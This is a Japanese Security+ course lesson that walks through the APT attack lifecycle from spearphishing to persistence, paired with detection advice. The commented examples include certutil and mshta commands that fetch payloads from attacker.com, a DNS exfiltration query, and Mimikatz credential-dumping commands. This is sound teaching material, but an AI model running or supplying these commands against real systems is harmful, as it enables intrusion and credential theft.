APTのライフサイクル:初期アクセスから永続化まで
スピアフィッシングによる初期アクセスからC2の確立、権限昇格、再起動や再イメージ化後も存続する永続化メカニズムまで、APTの活動を追跡します。
「APTのライフサイクル:初期アクセスから永続化まで」はCoddyKit上の無料Security+ Academyレッスンです。 これはレッスン1/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはSecurity+ Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Security+ Academyコースには全4レッスンが含まれています。
高度な持続的脅威とは何か
高度な持続的脅威(Advanced Persistent Threat、APT)とは、通常、国家支援型の攻撃者や資金力のある犯罪グループが、明確な戦略的目的を持って実行する、高度で長期的なサイバー攻撃キャンペーンです。APTを特徴付ける3つの要素は次のとおりです。Advanced(高度):カスタムマルウェア、ゼロデイ、未知の手法を使用します。Persistent(持続的):短時間で目的を達成して立ち去る攻撃ではなく、数か月から数年間にわたり密かに存在し続けます。Threat(脅威):特定の組織を標的とする、協調的で計画的な攻撃です。代表的なAPTグループには、ロシアのGRUとの関連が指摘されるAPT28(Fancy Bear)、中国との関連が指摘されるAPT41、北朝鮮との関連が指摘されるLazarus Groupなどがあります。
初期アクセス:APTはどのように侵入するか
APTキャンペーンは通常、実績のある少数の初期アクセス手法のいずれかによって始まります。最も一般的なのは、武器化された添付ファイルや認証情報を窃取するリンクを使ったスピアフィッシングです。メールは信頼できる同僚や取引先から送られたように見えます。サプライチェーンの侵害(SolarWinds/SUNBURSTがその例)では、信頼されたソフトウェア更新に悪意のあるコードを挿入します。インターネットに公開されたサービスの悪用では、パッチが適用されていないCVEを利用してVPNアプライアンス、Exchangeサーバー、Webアプリケーションなどを攻撃します。水飲み場型攻撃では、標的組織の従業員がよく訪れるWebサイトを侵害し、閲覧者にドライブバイ攻撃を仕掛けます。
実行:最初のペイロードを実行する
初期アクセスに成功した後、攻撃者は標的システム上で最初のペイロードを実行する必要があります。APTは通常のシステム活動に紛れ込む手法を好みます。たとえば、被害者がコンテンツを有効にしたときに実行されるOffice文書内の悪意のあるマクロ、開くとスクリプトを実行するHTML Application(HTA)ファイル、そしてLiving-off-the-Land Binaries(LOLBins)があります。LOLBinsでは、mshta.exe、certutil.exe、regsvr32.exe、wscript.exeなどの正規のWindowsツールを使って攻撃者のコードを実行し、アプリケーションの許可リストを回避します。これらの手法により、最初のペイロードは正規のシステム活動と区別しにくくなります。
# Example LOLBin abuse: certutil used to download payload
# certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe
# Example: mshta executing remote HTA
# mshta.exe http://attacker.com/malicious.hta
# Detection: alert on certutil/mshta with network connectionsC2の確立:攻撃者に接続する
最初のペイロードが実行されると、攻撃者のインフラストラクチャに戻るコマンドアンドコントロール(C2)チャネルを確立します。最新のAPTによるC2通信では、検知を回避するために設計された手法が使われます。たとえば、Teams、OneDrive、GitHubなどの正規のクラウドサービスを模倣する偽装ドメインへのHTTPS通信、通常のDNSトラフィックに見えるようDNS TXTレコードのクエリにコマンドを埋め込むDNSトンネリング、シード値から毎日新しいC2ドメインを生成し、ドメインブロックを無効にするドメイン生成アルゴリズム(DGA)、そしてSlack API、Google Sheets、Twitterなどの正規のクラウドプラットフォームを通信チャネルとして利用するLiving-off-the-Land型のC2があります。
# DNS tunneling detection: look for unusually long DNS queries
# Normal DNS query: www.google.com (13 chars)
# DNS tunnel query: 4f72d3a1b9c2e5f8.exfil.attacker.com (38 chars of encoded data)
# Zeek/Bro detection rule concept:
# alert dns (dns.qname length > 50)検出:環境を把握する
C2を確立した後、APTの攻撃者はさらに進む前に環境を把握するための内部偵察を行います。これには、BloodHoundなどのツールを使って信頼関係をマッピングし、高価値の標的を特定するActive Directoryの列挙、稼働中のホスト、サービス、開いているポートを特定するネットワークスキャン、設定ファイル、パスワードデータベース、ブラウザーに保存された認証情報をファイルシステムから検索する認証情報の探索、特権アカウント、サービスアカウント、管理者用ワークステーションを特定するアイデンティティの列挙などがあります。検知を避けるため、検出活動の多くではnet user /domain、ipconfig、nltestなどのWindows標準ツールが使われます。
# Native Windows commands used by APTs for discovery
# net user /domain # list domain users
# net group 'Domain Admins' /domain # list domain admins
# ipconfig /all # network configuration
# netstat -ano # active network connections
# tasklist /v # running processes権限昇格:管理者権限を得る
APTは通常、権限の限られたユーザー認証情報で初期アクセスを行うため、目的を達成するには権限を昇格させる必要があります。一般的な昇格経路には、Mimikatzを使ってメモリから認証情報を窃取する手法(LSASSプロセスのメモリからNTLMハッシュを抽出)、Kerberoasting(サービスアカウントのサービスチケットを要求し、オフラインでクラックする手法)、権限が弱く設定されたサービスの悪用(安全でないサービスバイナリパスやDLLハイジャック)、特権プロセスの認証トークンを盗むトークン偽装などがあります。ユーザーアカウント制御(UAC)のバイパス手法を使うと、UACプロンプトを表示させずに標準管理者からSYSTEMへ移行できます。
# Mimikatz: dump credentials from LSASS memory
# (defender perspective - what attackers run)
# privilege::debug
# sekurlsa::logonpasswords
# Detection: alert on LSASS memory reads by non-system processes
# Windows Event ID 4656/4663: access to LSASS process永続化メカニズム:再起動後も生き残る
APTは、初期アクセスの獲得が困難で費用もかかる場合があるため、再起動や再イメージ化後も生き残る永続化メカニズムに多大な労力をかけます。一般的なWindowsの永続化手法には、レジストリのRunキー(HKLM\Software\Microsoft\Windows\CurrentVersion\Run)、定期的にマルウェアを実行するスケジュールタスク、自動起動するWindowsサービス、ほとんどのクリーンアップ作業を生き残る(検出も困難な)WMIイベントサブスクリプション、DLL検索順序ハイジャック、そしてブート前OSインプラント(OSを再インストールしても残るUEFIファームウェアインプラント。Equation GroupやNSAとの関連が指摘される攻撃者が使用)があります。
# Common persistence locations to monitor
# Registry:
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# HKLM\System\CurrentControlSet\Services
# Check scheduled tasks for suspicious entries
# schtasks /query /fo LIST /v | findstr 'Task Name\|Run As User\|Task To Run'防御回避:人目につかない場所への隠蔽
APTは、エンドポイントセキュリティツールやアナリストによる検知を避けるため、広範な防御回避を行います。手法には、プロセスインジェクション — explorer.exeやsvchost.exeなどの正規プロセスに悪意のあるコードを注入し、信頼されたプロセス名の下でマルウェアを実行すること、タイムスタンピング — ファイルのタイムスタンプを変更し、悪意のあるファイルが何年も前から存在していたように見せること、ログの削除と改ざん — Windowsイベントログを消去して証拠を削除すること、コード署名証明書の悪用 — 盗んだ正規の証明書でマルウェアに署名すること、そしてメモリ内実行(ファイルレスマルウェア) — ファイルベースのAVが検知できるディスク上に一度も痕跡を残さない実行があります。
情報流出:密かにデータを盗み出す
APTは、DLP制御や帯域幅の異常検知を発動させないように、データの持ち出しを慎重に管理します。手法には、データステージング — 標的データを暗号化アーカイブに集めてから、数日かけて少量ずつ持ち出すこと、企業ファイアウォールのルールで許可されているクラウドストレージサービス(OneDrive、Dropbox)へのHTTPSによる情報流出、ステガノグラフィ — 画像ファイルの中にデータを隠すこと、そして正規の通信に紛れ込むために営業時間中に行う時間ベースの情報流出があります。APTは、すべてを一括コピーするのではなく、必要なもの(価値の高い知的財産、認証情報、戦略計画)のみを持ち出します。これにより痕跡と検知される可能性を最小限に抑えます。
APT活動の検知:主要な兆候
APTを検知するには、個々のアラートだけでなく、キルチェーン全体にわたる関連活動のパターンを特定する必要があります。主な兆候には、通常とは異なる親子プロセス関係(例:WordがPowerShellを起動する)、PowerShellのエンコードされたコマンドやインターネットからのダウンロード、通常とは異なる時刻に作成されたスケジュールタスクやサービス、システムプロセス以外によるLSASSメモリへのアクセス、ワークステーションからSMBまたはWMIを経由したラテラルムーブメント、そしてサブドメインが長い通常とは異なる外向きDNSクエリがあります。MITRE ATT&CK Navigatorを使用すると、検知した手法をATT&CKマトリックスにマッピングし、検知範囲の不足箇所を特定できます。
# Splunk query: detect PowerShell encoded command execution
# index=windows source=WinEventLog:Security EventCode=4688
# | search NewProcessName='*powershell*' CommandLine='*-enc*'
# | table _time, ComputerName, SubjectUserName, CommandLineAPTへの対応:気付かれずに封じ込める
活動中のAPTに対応するには、攻撃者に気付かれずに脅威を封じ込めるという慎重なバランスが必要です。早すぎる封じ込め(C2通信の遮断やアカウントの無効化)は、APTに破壊的なペイロードを起動させたり、情報流出を ускорさせたりする可能性があります。ベストプラクティスには、情報を収集しながら密かに監視すること、C2を遮断せずにファイアウォールルールを使って感染ホストを段階的にセグメント化すること、デセプション技術を導入すること(ハニートークン、カナリアアカウント)、そして大規模な封じ込め措置の前に法執行機関と連携することがあります。完全な修復には、すべての永続化メカニズムと侵害されたアカウントを特定する必要があります。見落としたインプラントが1つでもあれば、攻撃者は再び侵入できます。
クイックチェック
このレッスンで扱ったCompTIA Security+(SY0-701)の概念について、理解度を確認しましょう。
レッスンのまとめ
このレッスンでは、APTは高度で執拗かつ標的を絞ったキャンペーンであることを学びました。APTは通常、スピアフィッシング、サプライチェーン攻撃、または脆弱性の悪用によって初期アクセスを取得し、数か月にわたって活動します。また、APTは通常の通信に紛れ込み、検知を回避するためにLOLBinや正規のクラウドサービスをC2に利用すること、さらに永続化メカニズムはレジストリのRunキーからUEFIファームウェアインプラントまで多岐にわたり、その中でもWMIサブスクリプションは特に検知と修復が困難であることも学びました。次は、Pass-the-HashやPass-the-Ticketなどのラテラルムーブメント手法を取り上げます。
よくある質問
「APTのライフサイクル:初期アクセスから永続化まで」レッスンは無料ですか?
はい。「APTのライフサイクル:初期アクセスから永続化まで」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Security+ Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Security+ Academyコースには全4レッスンが含まれています。
「APTのライフサイクル:初期アクセスから永続化まで」で何を学びますか?
スピアフィッシングによる初期アクセスからC2の確立、権限昇格、再起動や再イメージ化後も存続する永続化メカニズムまで、APTの活動を追跡します。 ブラウザで直接実行するハンズオンコードでSecurity+ Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Security+ Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのSecurity+ Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン1/4です。
「APTのライフサイクル:初期アクセスから永続化まで」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このSecurity+ Academyレッスンでコードを書いて実行できますか?
はい。すべてのSecurity+ Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- APTのライフサイクル:初期アクセスから永続化まで
- ラテラルムーブメント:Pass-the-HashとPass-the-Ticket
- KerberoastingとGolden Ticket攻撃
- 検知と対応のためのMITRE ATT&CKフレームワーク